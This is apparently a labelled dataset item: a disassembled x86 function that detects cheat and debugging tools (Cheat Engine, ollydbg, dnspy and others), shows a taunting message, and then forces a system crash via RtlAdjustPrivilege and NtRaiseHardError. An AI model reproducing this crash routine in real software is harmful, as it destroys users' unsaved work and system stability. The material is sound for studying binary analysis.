Function at 0x1003a810
Capabilities:
Enumerate process modules
Get process image filename

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x12c4
call fcn.10041cd0
mov eax, dword [0x1004d040]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x12b4]
mov dword [ebp - 0x2ac], str.wpeultra.exe
push eax
push 0x1000
lea eax, [ebp - 0x12ac]
mov dword [ebp - 0x2a8], str.cheat_engine.exe
push eax
mov dword [ebp - 0x2a4], str.cheatengine_i386.exe
mov dword [ebp - 0x2a0], str.cheatengine_x86_64.exe
mov dword [ebp - 0x29c], str.qmacro.exe
mov dword [ebp - 0x298], str.Knup_V.2_Engine.exe
mov dword [ebp - 0x294], str.qweqweqwe.exe
mov dword [ebp - 0x290], str.asdasdasd.exe
mov dword [ebp - 0x28c], str.qweqwe.exe
mov dword [ebp - 0x288], str.olaf_007.exe
mov dword [ebp - 0x284], str.AP.exe
mov dword [ebp - 0x280], str.uce_by_mirakol_.exe
mov dword [ebp - 0x27c], str.MirakoL_GaminG.exe
mov dword [ebp - 0x278], str.ProPresser.exe
mov dword [ebp - 0x274], str._ZackEngine_6.7__64bit.exe
mov dword [ebp - 0x270], str.__________X.exe
mov dword [ebp - 0x26c], str._ZackEngine
mov dword [ebp - 0x268], str.CE_32BIT.exe
mov dword [ebp - 0x264], str.autopots_station.exe
mov dword [ebp - 0x260], str.SMAD_V.exe
mov dword [ebp - 0x25c], str.boss_b.exe
mov dword [ebp - 0x258], str.CE.exe
mov dword [ebp - 0x254], str.NewClassCE.exe
mov dword [ebp - 0x250], str.crossfire.exe
mov dword [ebp - 0x24c], str.cheatengine.exe
mov dword [ebp - 0x248], str.123.exe
mov dword [ebp - 0x244], str.nat_v1.exe
mov dword [ebp - 0x240], str.cheatengine64.exe
mov dword [ebp - 0x23c], str.cheatengine32.exe
mov dword [ebp - 0x238], str.dnspy.exe
mov dword [ebp - 0x234], str.123.exe
mov dword [ebp - 0x230], str.ollydbg.exe
mov dword [ebp - 0x22c], str.processhacker.exe
mov dword [ebp - 0x228], str._.exe
mov dword [ebp - 0x224], str.suspindir.exe
mov dword [ebp - 0x220], str.tinytask_1_77.exe
mov dword [ebp - 0x21c], str.autohotkey.exe
mov dword [ebp - 0x218], str.anonymous.exe
mov dword [ebp - 0x214], str.thai.exe
mov dword [ebp - 0x210], str.SUSPENDER.exe
call dword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
jne 0x1003a9e4
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10040c7b
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x12b4]
shr ecx, 2
mov dword [ebp - 0x12c4], ecx
test ecx, ecx
je 0x1003ab5f
push ebx
push esi
push edi
lea edi, [ebp - 0x12ac]
mov dword [ebp - 0x12c0], edi
nop word [eax + eax]
cmp dword [edi], 0
je 0x1003ab44
lea ebx, [ebp - 0x2ac]
mov dword [ebp - 0x12bc], ebx
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push dword [edi]
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x1003ab27
push 0x104
lea eax, [ebp - 0x20c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_K32GetProcessImageFileNameW]
test eax, eax
je 0x1003ab20
lea eax, [ebp - 0x20c]
push 0x5c
push eax
call dword [sym.imp.VCRUNTIME140.dll_wcsrchr]
add esp, 8
test eax, eax
je 0x1003ab20
push dword [ebx]
add eax, 2
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
add esp, 8
test eax, eax
jne 0x1003ab20
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x40
push 0x10048b5c
push str.ANTANGA_MO_MAGNANAKAW_KA_LANG_NAHULI_KAPA__HAHAHAHAHAH_
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push str.RtlAdjustPrivilege
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.NtRaiseHardError
push str.ntdll.dll
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call ebx
mov ebx, eax
lea eax, [ebp - 0x12ad]
push eax
push 0
push 1
push 0x13
call edi
lea eax, [ebp - 0x12b8]
push eax
push 6
push 0
push 0
push 0
push 0xc00002b4
call ebx
mov ebx, dword [ebp - 0x12bc]
mov edi, dword [ebp - 0x12c0]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add ebx, 4
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x12bc], ebx
cmp ebx, eax
jne 0x1003aa25
mov ecx, dword [ebp - 0x12c4]
add edi, 4
sub ecx, 1
mov dword [ebp - 0x12c0], edi
mov dword [ebp - 0x12c4], ecx
jne 0x1003aa10
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
call fcn.10040c7b
mov esp, ebp
pop ebp
ret